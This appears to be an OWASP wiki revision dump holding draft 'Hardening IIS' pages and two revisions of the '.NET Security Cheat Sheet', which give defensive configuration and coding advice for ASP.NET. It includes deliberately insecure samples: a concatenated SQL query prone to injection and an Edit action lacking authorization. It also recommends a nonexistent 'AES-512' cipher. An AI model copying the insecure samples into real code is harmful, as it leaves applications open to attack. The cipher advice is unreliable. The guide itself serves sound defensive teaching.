== Transport Encryption ==

=== SSL/TLS settings are controlled at the SChannel level. They are set machine wide and IIS respects these values. ===

=== A list of recommendations for IIS ===

==== Disable SSL v2/v3 ====

==== Disable TLS 1.0 ====

==== Disable TLS 1.1 ====

==== Ensure TLS 1.2 is enabled ====

==== Disable weak cipher suites (NULL cipher suites, DES cipher suites, RC4 cipher suites, Triple DES, etc) ====

==== Ensure TLS cipher suites are correctly ordered ====
https://cloudblogs.microsoft.com/microsoftsecure/2017/09/07/new-iis-functionality-to-help-identify-weak-tls-usage/

== HSTS support ==

=== IIS recently (Windows Server 1709) added turnkey support for HSTS ===
https://docs.microsoft.com/en-us/iis/get-started/whats-new-in-iis-10-version-1709/iis-10-version-1709-hsts

== CORS support ==

=== If you choose not to handle CORS in your application, we ship an IIS an IIS module to help configure CORS ===
https://blogs.iis.net/iisteam/getting-started-with-the-iis-cors-module

== Authors ==
Sourabh Shirhatti (Microsoft)

Bill Sempf (bill.sempf@owasp.org)

Hardening IIS

2018-08-16T23:09:01Z

Bill Sempf: Detailed errors

= Draft - Work In Progress =

== Basic configuration ==

Common changes that should be part of all IIS installations.

=== Disable directoryBrowsing ===

Directory browsing gives the user the ability to just navigate to http://server/directory/ and get a list of all files in the directory. This was useful when web servers were primarily file servers, but is clearly a security problem now.

To disable directory browsing in IIS 10.0 (and several earlier versions, either:

1) Alter the web.config to set the directoryBrowse feature to false

<configuration>
<system.webServer>
<directoryBrowse enabled="false" />
</system.webServer>
</configuration>

2) or Navigate to IIS in the Server Manager, and uncheck Directory Browsing under Common HTTP Features.

=== Avoid wildcard host headers ===

IIS 10.0 has added wildcard host headers. This means that if there is a website hosted for a domain, the server will handle requests for any subdomain, allowing the developer to make decisions based on the request as how to respond.

In general, this is a bad idea and shouldn't be used. There are very specific reasons to use them, but it is almost guaranteed that your situation isn't one of them.

Certainly, do not use wildcard domains, like http://* for example. But in general avoid using them at all. Instead use site bindings to solve the same problem.

=== Ensure applicationPoolIdentity is configured for all application pools ===

=== Use an unique applicationPool per site ===

Application bools are designed to create a collection of sites that can be restarted together, and have a common max memory limit, and some other features. With today's applications, it is best if there is a unique application pool for each site. Perhaps if there is a separate project for services and the front end of an application, then they could go together in one pool but for the majority of applications, one pool per app.=

There are two ways to configure application pools for IIS.

1)In IIS Manager, expand Sites in the Connections pane. Then click Advanced Settings, then the ellipsis button next to Application Pool. Select a unique pool there.

2) Using the command prompt, run appcmd to set up new command pools.

appcmd.exe set config -section:system.applicationHost/applicationPools /+"[name='NewCommandPool',autoStart='True',managedPipelineMode='Integrated']" /commit:apphost

=== Disable IIS detailed error page from displaying remotely ===

When debugging a production application that is misbehaving, we would like to see detailed errors when using the server at the console, but show remote users custom pages.

To handle this, use the IIS Console and select Exceptions. In the Actions column, select Edit Feature Settings and then select Detailed Errors For Local Requests and Custom Errors For Remote Requests.

== Request filtering ==

=== Configure maxAllowedContentLength ===

=== Configure maxURL request filter ===

=== Configure MaxQueryString request filter ===

=== Reject non-ASCII characters in URLs ===

=== Reject double-encoded requests ===

=== Disable HTTP trace requests ===

=== Disallow unlisted file extensions ===

=== Enable Dynamic IP Address Restrictions ===

== Transport Encryption ==

=== SSL/TLS settings are controlled at the SChannel level. They are set machine wide and IIS respects these values. ===

=== A list of recommendations for IIS ===

==== Disable SSL v2/v3 ====

==== Disable TLS 1.0 ====

==== Disable TLS 1.1 ====

==== Ensure TLS 1.2 is enabled ====

==== Disable weak cipher suites (NULL cipher suites, DES cipher suites, RC4 cipher suites, Triple DES, etc) ====

==== Ensure TLS cipher suites are correctly ordered ====
https://cloudblogs.microsoft.com/microsoftsecure/2017/09/07/new-iis-functionality-to-help-identify-weak-tls-usage/

== HSTS support ==

=== IIS recently (Windows Server 1709) added turnkey support for HSTS ===
https://docs.microsoft.com/en-us/iis/get-started/whats-new-in-iis-10-version-1709/iis-10-version-1709-hsts

== CORS support ==

=== If you choose not to handle CORS in your application, we ship an IIS an IIS module to help configure CORS ===
https://blogs.iis.net/iisteam/getting-started-with-the-iis-cors-module

== Authors ==
Sourabh Shirhatti (Microsoft)

Bill Sempf (bill.sempf@owasp.org)

Hardening IIS

2018-08-16T23:03:02Z

Bill Sempf: /* Use an unique applicationPool per site */

Hardening IIS

2018-08-16T22:45:11Z

Bill Sempf: Wildcard domains

Hardening IIS

2018-08-16T22:11:38Z

Bill Sempf:

Hardening IIS

2018-08-16T22:10:59Z

Bill Sempf: Directory Browsing

Hardening IIS

2018-08-16T21:52:19Z

Bill Sempf: Reformatted headers.

= Draft - Work In Progress =

== Basic configuration ==

=== Disable directoryBrowsing ===

=== Avoid wildcard host headers ===

=== Ensure applicationPoolIdentity is configured for all application pools ===

=== Use an unique applicationPool per site ===

=== Disable IIS detailed error page from displaying remotely ===

== Request filtering ==

=== Configure maxAllowedContentLength ===

=== Configure maxURL request filter ===

=== Configure MaxQueryString request filter ===

=== Reject non-ASCII characters in URLs ===

=== Reject double-encoded requests ===

=== Disable HTTP trace requests ===

=== Disallow unlisted file extensions ===

=== Enable Dynamic IP Address Restrictions ===

== Transport Encryption ==

=== SSL/TLS settings are controlled at the SChannel level. They are set machine wide and IIS respects these values. ===

=== A list of recommendations for IIS ===

==== Disable SSL v2/v3 ====

==== Disable TLS 1.0 ====

==== Disable TLS 1.1 ====

==== Ensure TLS 1.2 is enabled ====

==== Disable weak cipher suites (NULL cipher suites, DES cipher suites, RC4 cipher suites, Triple DES, etc) ====

==== Ensure TLS cipher suites are correctly ordered ====
https://cloudblogs.microsoft.com/microsoftsecure/2017/09/07/new-iis-functionality-to-help-identify-weak-tls-usage/

== HSTS support ==

=== IIS recently (Windows Server 1709) added turnkey support for HSTS ===
https://docs.microsoft.com/en-us/iis/get-started/whats-new-in-iis-10-version-1709/iis-10-version-1709-hsts

== CORS support ==

=== If you choose not to handle CORS in your application, we ship an IIS an IIS module to help configure CORS ===
https://blogs.iis.net/iisteam/getting-started-with-the-iis-cors-module

== Authors ==
Sourabh Shirhatti (Microsoft)

Bill Sempf (bill.sempf@owasp.org)

.NET Security Cheat Sheet

2018-08-03T21:56:48Z

Bill Sempf: Added Sam as a contributor.

__NOTOC__
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
== Introduction ==
__TOC__{{TOC hidden}}
This page intends to provide quick basic .NET security tips for developers.

===The .NET Framework===
The .NET Framework is Microsoft's principal platform for enterprise development. It is the supporting API for ASP.NET, Windows Desktop applications, Windows Communication Foundation services, SharePoint, Visual Studio Tools for Office and other technologies.

===Updating the Framework===
The .NET Framework is kept up-to-date by Microsoft with the Windows Update service. Developers do not normally need to run seperate updates to the Framework. Windows update can be accessed at [http://windowsupdate.microsoft.com/ Windows Update] or from the Windows Update program on a Windows computer.

Individual frameworks can be kept up to date using [http://nuget.codeplex.com/wikipage?title=Getting%20Started&referringTitle=Home NuGet]. As Visual Studio prompts for updates, build it into your lifecycle.

Remember that third party libraries have to be updated separately and not all of them use Nuget. ELMAH for instance, requires a separate update effort.

==.NET Framework Guidance==

The .NET Framework is the set of APIs that support an advanced type system, data, graphics, network, file handling and most of the rest of what is needed to write enterprise apps in the Microsoft ecosystem. It is a nearly ubiquitous library that is strong named and versioned at the assembly level.

=== Data Access ===

* Use [http://msdn.microsoft.com/en-us/library/ms175528(v=sql.105).aspx Parameterized SQL] commands for all data access, without exception.
* Do not use [http://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlcommand.aspx SqlCommand] with a string parameter made up of a [http://msdn.microsoft.com/en-us/library/ms182310.aspx concatenated SQL String].
* Whitelist allowable values coming from the user. Use enums, [http://msdn.microsoft.com/en-us/library/f02979c7.aspx TryParse] or lookup values to assure that the data coming from the user is as expected.
** Enums are still vulnerable to unexpected values because .NET only validates a successful cast to the underlying data type, integer by default. [https://msdn.microsoft.com/en-us/library/system.enum.isdefined Enum.IsDefined] can validate whether the input value is valid within the list of defined constants.
* Apply the principle of least privilege when setting up the Database User in your database of choice. The database user should only be able to access items that make sense for the use case.
* Use of the [http://msdn.microsoft.com/en-us/data/ef.aspx Entity Framework] is a very effective [http://msdn.microsoft.com/en-us/library/ms161953(v=sql.105).aspx SQL injection] prevention mechanism. Remember that building your own ''ad hoc'' queries in EF is just as susceptible to SQLi as a plain SQL query.
* When using SQL Server, prefer integrated authentication over SQL authentication.
* Use [https://msdn.microsoft.com/en-us/library/mt163865.aspx Always Encrypted] where possible for sensitive data (SQL Server 2016 and SQL Azure),

=== Encryption ===
* Never, ever write your own encryption.
* Use the [http://msdn.microsoft.com/en-us/library/ms995355.aspx Windows Data Protection API (DPAPI)] for secure local storage of sensitive data.
* Use a strong hash algorithm.
** In .NET (both Framework and Core) the strongest hashing algorithm for general hashing requirements is [http://msdn.microsoft.com/en-us/library/system.security.cryptography.sha512.aspx System.Security.Cryptography.SHA512].
** In the .NET framework the strongest algorithm for password hashing is PBKDF2, implemented as [http://msdn.microsoft.com/en-us/library/system.security.cryptography.rfc2898derivebytes(v=vs.110).aspx System.Security.Cryptography.Rfc2898DeriveBytes].
** In .NET Core the strongest algorithm for password hashing is PBKDF2, implemented as [https://docs.microsoft.com/en-us/aspnet/core/security/data-protection/consumer-apis/password-hashing Microsoft.AspNetCore.Cryptography.KeyDerivation.Pbkdf2] which has several significant advantages over Rfc2898DeriveBytes.
** When using a hashing function to hash non-unique inputs such as passwords, use a salt value added to the original value before hashing.
* Make sure your application or protocol can easily support a future change of cryptographic algorithms.
* Use Nuget to keep all of your packages up to date. Watch the updates on your development setup, and plan updates to your applications accordingly.

=== General ===

* Lock down the config file.
** Remove all aspects of configuration that are not in use.
** Encrypt sensitive parts of the web.config using aspnet_regiis -pe

* For Click Once applications the .Net Framework should be upgraded to use version 4.6.2 to ensure TLS 1.1/1.2 support.

==ASP.NET Web Forms Guidance==

ASP.NET Web Forms is the original browser-based application development API for the .NET framework, and is still the most common enterprise platform for web application development.

* Always use [http://support.microsoft.com/kb/324069 HTTPS].
* Enable [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.requiressl.aspx requireSSL] on cookies and form elements and [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.httponlycookies.aspx HttpOnly] on cookies in the web.config.
* Implement [https://msdn.microsoft.com/library/h0hfz6fc.aspx customErrors].
* Make sure [http://www.iis.net/configreference/system.webserver/tracing tracing] is turned off.
* While viewstate isn't always appropriate for web development, using it can provide CSRF mitigation. To make the ViewState protect against CSRF attacks you need to set the [http://msdn.microsoft.com/en-us/library/ms972969.aspx#securitybarriers_topic2 ViewStateUserKey]:

protected override OnInit(EventArgs e) {
base.OnInit(e);
ViewStateUserKey = Session.SessionID;
}

If you don't use Viewstate, then look to the default master page of the ASP.NET Web Forms default template for a manual anti-CSRF token using a double-submit cookie.

private const string AntiXsrfTokenKey = "__AntiXsrfToken";
private const string AntiXsrfUserNameKey = "__AntiXsrfUserName";
private string _antiXsrfTokenValue;
protected void Page_Init(object sender, EventArgs e)
{
// The code below helps to protect against XSRF attacks
var requestCookie = Request.Cookies[AntiXsrfTokenKey];
Guid requestCookieGuidValue;
if (requestCookie != null && Guid.TryParse(requestCookie.Value, out requestCookieGuidValue))
{
// Use the Anti-XSRF token from the cookie
_antiXsrfTokenValue = requestCookie.Value;
Page.ViewStateUserKey = _antiXsrfTokenValue;
}
else
{
// Generate a new Anti-XSRF token and save to the cookie
_antiXsrfTokenValue = Guid.NewGuid().ToString("N");
Page.ViewStateUserKey = _antiXsrfTokenValue;
var responseCookie = new HttpCookie(AntiXsrfTokenKey)
{
HttpOnly = true,
Value = _antiXsrfTokenValue
};
if (FormsAuthentication.RequireSSL && Request.IsSecureConnection)
{
responseCookie.Secure = true;
}
Response.Cookies.Set(responseCookie);
}
Page.PreLoad += master_Page_PreLoad;
}

protected void master_Page_PreLoad(object sender, EventArgs e)
{
if (!IsPostBack)
{
// Set Anti-XSRF token
ViewState[AntiXsrfTokenKey] = Page.ViewStateUserKey;
ViewState[AntiXsrfUserNameKey] = Context.User.Identity.Name ?? String.Empty;
}
else
{
// Validate the Anti-XSRF token
if ((string)ViewState[AntiXsrfTokenKey] != _antiXsrfTokenValue ||
(string)ViewState[AntiXsrfUserNameKey] != (Context.User.Identity.Name ?? String.Empty))
{
throw new InvalidOperationException("Validation of Anti-XSRF token failed.");
}
}
}

* Consider [http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security HSTS] in IIS.
** In the Connections pane, go to the site, application, or directory for which you want to set a custom HTTP header.
** In the Home pane, double-click HTTP Response Headers.
** In the HTTP Response Headers pane, click Add... in the Actions pane.
** In the Add Custom HTTP Response Header dialog box, set the name and value for your custom header, and then click OK.
** This is a recommended web.config setup that handles HSTS among other things.

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<httpRuntime enableVersionHeader="false"/>
</system.web>
<system.webServer>
<security>
<requestFiltering removeServerHeader="true" />
</security>
<staticContent>
<clientCache cacheControlCustom="public" cacheControlMode="UseMaxAge" cacheControlMaxAge="1.00:00:00" setEtag="true" />
</staticContent>
<httpProtocol>
<customHeaders>
<add name="Content-Security-Policy" value="default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'" />
<add name="X-Content-Type-Options" value="NOSNIFF" />
<add name="X-Frame-Options" value="DENY" />
<add name="X-Permitted-Cross-Domain-Policies" value="master-only"/>
<add name="X-XSS-Protection" value="1; mode=block"/>
<remove name="X-Powered-By"/>
</customHeaders>
</httpProtocol>
<rewrite>
<rules>
<rule name="Redirect to https">
<match url="(.*)"/>
<conditions>
<add input="{HTTPS}" pattern="Off"/>
<add input="{REQUEST_METHOD}" pattern="^get$|^head$" />
</conditions>
<action type="Redirect" url="https://{HTTP_HOST}/{R:1}" redirectType="Permanent"/>
</rule>
</rules>
<outboundRules>
<rule name="Add HSTS Header" enabled="true">
<match serverVariable="RESPONSE_Strict_Transport_Security"
pattern=".*" />
<conditions>
<add input="{HTTPS}" pattern="on" ignoreCase="true" />
</conditions>
<action type="Rewrite" value="max-age=15768000" />
</rule>
</outboundRules>
</rewrite>
</system.webServer>
</configuration>

* Remove the version header.

<httpRuntime enableVersionHeader="false" />

* Also remove the Server header.

HttpContext.Current.Response.Headers.Remove("Server");

=== HTTP validation and encoding ===

* Do not disable [http://www.asp.net/whitepapers/request-validation validateRequest] in the web.config or the page setup. This value enables limited XSS protection in ASP.NET and should be left intact as it provides partial prevention of Cross Site Scripting. Complete request validation is recommended in addition to the built in protections.
* The 4.5 version of the .NET Frameworks includes the AntiXssEncoder library, which has a comprehensive input encoding library for the prevention of XSS. Use it.
* Whitelist allowable values anytime user input is accepted.
* Validate the URI format using [http://msdn.microsoft.com/en-us/library/system.uri.iswellformeduristring.aspx Uri.IsWellFormedUriString].

=== Forms authentication ===

* Use cookies for persistence when possible. Cookieless Auth will default to UseDeviceProfile.
* Don't trust the URI of the request for persistence of the session or authorization. It can be easily faked.
* Reduce the forms authentication timeout from the default of 20 minutes to the shortest period appropriate for your application. If slidingExpiration is used this timeout resets after each request, so active users won't be affected.
* If HTTPS is not used, slidingExpiration should be disabled. Consider disabling slidingExpiration even with HTTPS.
* Always implement proper access controls.
** Compare user provided username with User.Identity.Name.
** Check roles against User.Identity.IsInRole.
* Use the ASP.NET Membership provider and role provider, but review the password storage. The default storage hashes the password with a single iteration of SHA-1 which is rather weak. The ASP.NET MVC4 template uses [http://www.asp.net/identity/overview/getting-started/introduction-to-aspnet-identity ASP.NET Identity] instead of ASP.NET Membership, and ASP.NET Identity uses PBKDF2 by default which is better. Review the OWASP [[Password Storage Cheat Sheet]] for more information.
* Explicitly authorize resource requests.
* Leverage role based authorization using User.Identity.IsInRole.

==ASP.NET MVC Guidance==

ASP.NET MVC (Model-View-Controller) is a contemporary web application framework that uses more standardized HTTP communication than the Web Forms postback model. The OWASP Top 10 lists the most prevalent and dangerous threats to web security in the world today and is reviewed every 3 years. This section is based on this. Your approach to securing your web application should be to start at the top threat A1 below and work down, this will ensure that any time spent on security will be spent most effectively spent and cover the top threats first and lesser threats afterwards. After covering the top 10 it is generally advisable to assess for other threats or get a professionally completed Penetration Test.

* '''A1 SQL Injection'''

DO: Using an object relational mapper (ORM) or stored procedures is the most effective way of countering the SQL Injection vulnerability.

DO: Use parameterized queries where a direct sql query must be used.

e.g. In entity frameworks:

var sql = @"Update [User] SET FirstName = @FirstName WHERE Id = @Id";
context.Database.ExecuteSqlCommand(
sql,
new SqlParameter("@FirstName", firstname),
new SqlParameter("@Id", id));

DO NOT: Concatenate strings anywhere in your code and execute them against your database (Known as dynamic sql). NB: You can still accidentally do this with ORMs or Stored procedures so check everywhere.

e.g
string strQry = "SELECT * FROM Users WHERE UserName='" + txtUser.Text + "' AND Password='" + txtPassword.Text + "'";
EXEC strQry // SQL Injection vulnerability!

DO: Practise Least Privilege - Connect to the database using an account with a minimum set of permissions required to do it's job i.e. not the sa account

* '''A2 Weak Account management'''

Ensure cookies are sent via httpOnly:

CookieHttpOnly = true,

Reduce the time period a session can be stolen in by reducing session timeout and removing sliding expiration:

ExpireTimeSpan = TimeSpan.FromMinutes(60),
SlidingExpiration = false

See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/App_Start/Startup.Auth.cs here] for full startup code snippet

Ensure cookie is sent over https in the production environment. This should be enforced in the config transforms:


<httpCookies requireSSL="true" xdt:Transform="SetAttributes(requireSSL)"/>
<authentication>
<forms requireSSL="true" xdt:Transform="SetAttributes(requireSSL)"/>

</authentication>

Protect LogOn, Registration and password reset methods against brute force attacks by throttling requests (see code below), consider also using ReCaptcha.

[HttpPost]
[AllowAnonymous]
[ValidateAntiForgeryToken]
'''[AllowXRequestsEveryXSecondsAttribute(Name = "LogOn", Message = "You have performed this action more than {x} times in the last {n} seconds.", Requests = 3, Seconds = 60)]'''
public async Task<ActionResult> LogOn(LogOnViewModel model, string returnUrl)

Find [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/Attributes/ThrottleAttribute.cs here] the code to prevent throttling

DO NOT: Roll your own authentication or session management, use the one provided by .Net

DO NOT: Tell someone if the account exists on LogOn, Registration or Password reset. Say something like 'Either the username or password was incorrect', or 'If this account exists then a reset token will be sent to the registered email address'. This protects against account enumeration. The feedback to the user should be identical whether or not the account exists, both in terms of content and behaviour: e.g. if the response takes 50% longer when the account is real then membership information can be guessed and tested.

* '''A3 Cross Site Scripting'''

DO NOT: Trust any data the user sends you, prefer white lists (always safe) over black lists

You get encoding of all HTML content with MVC3, to properly encode all content whether HTML, javascript, CSS, LDAP etc use the Microsoft AntiXSS library:

Install-Package AntiXSS

then set in config:

<system.web>

<httpRuntime targetFramework="4.5" enableVersionHeader="false" encoderType="Microsoft.Security.Application.AntiXssEncoder, AntiXssLibrary" maxRequestLength="4096" />

DO NOT: Use the [AllowHTML] attribute or helper class @Html.Raw unless you really know that the content you are writing to the browser is safe and has been escaped properly.

DO: Enable a content security policy, this will prevent your pages from accessing assets it should not be able to access (e.g. a malicious script):
<system.webServer>
<httpProtocol>
<customHeaders>
<add name="Content-Security-Policy" value="default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'; script-src 'self'" />
...

* '''A4 Insecure Direct object references'''

When you have a resource (object) which can be accessed by a reference (in the sample below this is the id) then you need to ensure that the user is intended to be there

// Insecure
public ActionResult Edit(int id)
{
var user = _context.Users.FirstOrDefault(e => e.Id == id);
return View("Details", new UserViewModel(user);
}

// Secure
public ActionResult Edit(int id)
{
var user = _context.Users.FirstOrDefault(e => e.Id == id);
// Establish user has right to edit the details
if (user.Id != _userIdentity.GetUserId())
{
HandleErrorInfo error = new HandleErrorInfo(new Exception("INFO: You do not have permission to edit these details"));
return View("Error", error);
}
return View("Edit", new UserViewModel(user);
}

* '''A5 Security Misconfiguration'''

Ensure debug and trace are off in production. This can be enforced using web.config transforms:


<compilation xdt:Transform="RemoveAttributes(debug)" />

<trace enabled="false" xdt:Transform="Replace"/>

DO NOT: Use default passwords

DO: (When using TLS) Redirect a request made over Http to https: In Global.asax.cs:

protected void Application_BeginRequest()
{
#if !DEBUG
// SECURE: Ensure any request is returned over SSL/TLS in production
if (!Request.IsLocal && !Context.Request.IsSecureConnection) {
var redirect = Context.Request.Url.ToString().ToLower(CultureInfo.CurrentCulture).Replace("http:", "https:");
Response.Redirect(redirect);
}
#endif
}

* '''A6 Sensitive data exposure'''

DO NOT: Store encrypted passwords.

DO: Use a strong hash to store password credentials. Use PBKDF2, BCrypt or SCrypt with at least 8000 iterations and a strong key.

DO: Enforce passwords with a minimum complexity that will survive a dictionary attack i.e. longer passwords that use the full character set (numbers, symbols and letters) to increase the entropy.

DO: Use a strong encryption routine such as AES-512 where personally identifiable data needs to be restored to it's original format. Do not encrypt passwords. Protect encryption keys more than any other asset. Apply the following test: Would you be happy leaving the data on a spreadsheet on a bus for everyone to read. Assume the attacker can get direct access to your database and protect it accordingly.

DO: Use TLS 1.2 for your entire site. Get a free certificate from [https://www.startssl.com/ StartSSL.com] or [https://letsencrypt.org/ LetsEncrypt.org].

DO NOT: Allow SSL, this is now obsolete

DO: Have a strong TLS policy (see [http://www.ssllabs.com/projects/best-practises/ SSL Best Practises]), use TLS 1.2 wherever possible. Then check the configuration using [https://www.ssllabs.com/ssltest/ SSL Test]

DO: Ensure headers are not disclosing information about your application. See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs HttpHeaders.cs] , [https://github.com/Dionach/StripHeaders/ Dionach StripHeaders] or disable via web.config:
<system.web>
<httpRuntime enableVersionHeader="false"/>
</system.web>
<system.webServer>
<security>
<requestFiltering removeServerHeader="true" />
</security>
<httpProtocol>
<customHeaders>
<add name="X-Content-Type-Options" value="NOSNIFF" />
<add name="X-Frame-Options" value="DENY" />
<add name="X-Permitted-Cross-Domain-Policies" value="master-only"/>
<add name="X-XSS-Protection" value="1; mode=block"/>
<remove name="X-Powered-By"/>
</customHeaders>
</httpProtocol>

* '''A7 Missing function level access control'''

DO: Authorize users on all externally facing endpoints. The .Net framework has many ways to authorize a user, use them at method level:

[Authorize(Roles = "Admin")]
[HttpGet]
public ActionResult Index(int page = 1)

or better yet, at controller level:

[Authorize]
public class UserController

You can also check roles in code using identity features in .net: System.Web.Security.Roles.IsUserInRole(userName, roleName)

* '''A8 Cross site request forgery'''

DO: Send the anti-forgery token with every Post/Put request:

using (Html.BeginForm("LogOff", "Account", FormMethod.Post, new { id = "logoutForm", @class = "pull-right" }))
{
@Html.AntiForgeryToken()
<ul class="nav nav-pills">
<li role="presentation">Logged on as @User.Identity.Name
<li role="presentation"><a href="javascript:document.getElementById('logoutForm').submit()">Log off</a></li>
</ul>
}

Then validate it at the method or preferably the controller level:

[HttpPost]
'''[ValidateAntiForgeryToken]'''
public ActionResult LogOff()

Make sure the tokens are removed completely for invalidation on logout.

/// <summary>
/// SECURE: Remove any remaining cookies including Anti-CSRF cookie
/// </summary>
public void RemoveAntiForgeryCookie(Controller controller)
{
string[] allCookies = controller.Request.Cookies.AllKeys;
foreach (string cookie in allCookies)
{
if (controller.Response.Cookies[cookie] != null && cookie == "__RequestVerificationToken")
{
controller.Response.Cookies[cookie].Expires = DateTime.Now.AddDays(-1);
}
}
}

NB: You will need to attach the anti-forgery token to Ajax requests.

After .NET Core 2.0 it is possible to automatically generate and verify the antiforgery token. Forms must have the requisite helper as seen here:

<form action="RelevantAction" >
@Html.AntiForgeryToken()
</form>

And then add the [AutoValidateAntiforgeryToken] attribute to the action result.

* '''A9 Using components with known vulnerabilities'''

DO: Keep the .Net framework updated with the latest patches

DO: Keep your NuGet packages up to date, many will contain their own vulnerabilities.

DO: Run the OWASP Dependency checker against your application as part of your build process and act on any high level vulnerabilities. [[https://www.owasp.org/index.php/OWASP_Dependency_Check OWASP Dependency Checker]]

* '''A10 Unvalidated redirects and forwards'''

A protection against this was introduced in Mvc 3 template. Here is the code:

public async Task<ActionResult> LogOn(LogOnViewModel model, string returnUrl)
{
if (ModelState.IsValid)
{
var logonResult = await _userManager.TryLogOnAsync(model.UserName, model.Password);
if (logonResult.Success)
{
await _userManager.LogOnAsync(logonResult.UserName, model.RememberMe);
return RedirectToLocal(returnUrl);
....

private ActionResult RedirectToLocal(string returnUrl)
{
if (Url.IsLocalUrl(returnUrl))
{
return Redirect(returnUrl);
}
else
{
return RedirectToAction("Landing", "Account");
}
}

Other advice:

* Protect against Clickjacking and man in the middle attack from capturing an initial Non-TLS request, set the X-Frame-Options and Strict-Transport-Security (HSTS) headers. Full details [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs here]
* Protect against a man in the middle attack for a user who has never been to your site before. Register for [https://hstspreload.org/ HSTS preload]
* Maintain security testing and analysis on Web API services. They are hidden inside MEV sites, and are public parts of a site that will be found by an attacker. All of the MVC guidance and much of the WCF guidance applies to the Web API.

More information:

For more information on all of the above and code samples incorporated into a sample MVC5 application with an enhanced security baseline go to [http://github.com/johnstaveley/SecurityEssentials/ Security Essentials Baseline project]

==XAML Guidance==

* Work within the constraints of Internet Zone security for your application.
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.

==Windows Forms Guidance==

* Use partial trust when possible. Partially trusted Windows applications reduce the attack surface of an application. Manage a list of what permissions your app must use, and what it may use, and then make the request for those permissions declaratively at run time.
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.

==WCF Guidance==

* Keep in mind that the only safe way to pass a request in RESTful services is via HTTP POST, with TLS enabled. GETs are visible in the querystring, and a lack of TLS means the body can be intercepted.
* Avoid BasicHttpBinding. It has no default security configuration. Use WSHttpBinding instead.
* Use at least two security modes for your binding. Message security includes security provisions in the headers. Transport security means use of SSL. TransportWithMessageCredential combines the two.
* Test your WCF implementation with a fuzzer like the Zed Attack Proxy.

== Authors and Primary Editors ==

Bill Sempf - bill.sempf(at)owasp.org<br />
Troy Hunt - troyhunt(at)hotmail.com<br />
Jeremy Long - jeremy.long(at)owasp.org<br />

== Contributors ==

Shane Murnion
John Staveley
Steve Bamelis
Xander Sherry
Sam Ferree

== Other Cheatsheets ==

{{Cheatsheet_Navigation_Body}}

|}

[[Category:Cheatsheets]]
[[Category:OWASP .NET Project]]

.NET Security Cheat Sheet

2018-08-03T21:55:16Z

Bill Sempf: Added .NET Core CSRF deets, and some formatting fixes.

__NOTOC__
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
== Introduction ==
__TOC__{{TOC hidden}}
This page intends to provide quick basic .NET security tips for developers.

===The .NET Framework===
The .NET Framework is Microsoft's principal platform for enterprise development. It is the supporting API for ASP.NET, Windows Desktop applications, Windows Communication Foundation services, SharePoint, Visual Studio Tools for Office and other technologies.

===Updating the Framework===
The .NET Framework is kept up-to-date by Microsoft with the Windows Update service. Developers do not normally need to run seperate updates to the Framework. Windows update can be accessed at [http://windowsupdate.microsoft.com/ Windows Update] or from the Windows Update program on a Windows computer.

Individual frameworks can be kept up to date using [http://nuget.codeplex.com/wikipage?title=Getting%20Started&referringTitle=Home NuGet]. As Visual Studio prompts for updates, build it into your lifecycle.

Remember that third party libraries have to be updated separately and not all of them use Nuget. ELMAH for instance, requires a separate update effort.

==.NET Framework Guidance==

The .NET Framework is the set of APIs that support an advanced type system, data, graphics, network, file handling and most of the rest of what is needed to write enterprise apps in the Microsoft ecosystem. It is a nearly ubiquitous library that is strong named and versioned at the assembly level.

=== Data Access ===

* Use [http://msdn.microsoft.com/en-us/library/ms175528(v=sql.105).aspx Parameterized SQL] commands for all data access, without exception.
* Do not use [http://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlcommand.aspx SqlCommand] with a string parameter made up of a [http://msdn.microsoft.com/en-us/library/ms182310.aspx concatenated SQL String].
* Whitelist allowable values coming from the user. Use enums, [http://msdn.microsoft.com/en-us/library/f02979c7.aspx TryParse] or lookup values to assure that the data coming from the user is as expected.
** Enums are still vulnerable to unexpected values because .NET only validates a successful cast to the underlying data type, integer by default. [https://msdn.microsoft.com/en-us/library/system.enum.isdefined Enum.IsDefined] can validate whether the input value is valid within the list of defined constants.
* Apply the principle of least privilege when setting up the Database User in your database of choice. The database user should only be able to access items that make sense for the use case.
* Use of the [http://msdn.microsoft.com/en-us/data/ef.aspx Entity Framework] is a very effective [http://msdn.microsoft.com/en-us/library/ms161953(v=sql.105).aspx SQL injection] prevention mechanism. Remember that building your own ''ad hoc'' queries in EF is just as susceptible to SQLi as a plain SQL query.
* When using SQL Server, prefer integrated authentication over SQL authentication.
* Use [https://msdn.microsoft.com/en-us/library/mt163865.aspx Always Encrypted] where possible for sensitive data (SQL Server 2016 and SQL Azure),

=== Encryption ===
* Never, ever write your own encryption.
* Use the [http://msdn.microsoft.com/en-us/library/ms995355.aspx Windows Data Protection API (DPAPI)] for secure local storage of sensitive data.
* Use a strong hash algorithm.
** In .NET (both Framework and Core) the strongest hashing algorithm for general hashing requirements is [http://msdn.microsoft.com/en-us/library/system.security.cryptography.sha512.aspx System.Security.Cryptography.SHA512].
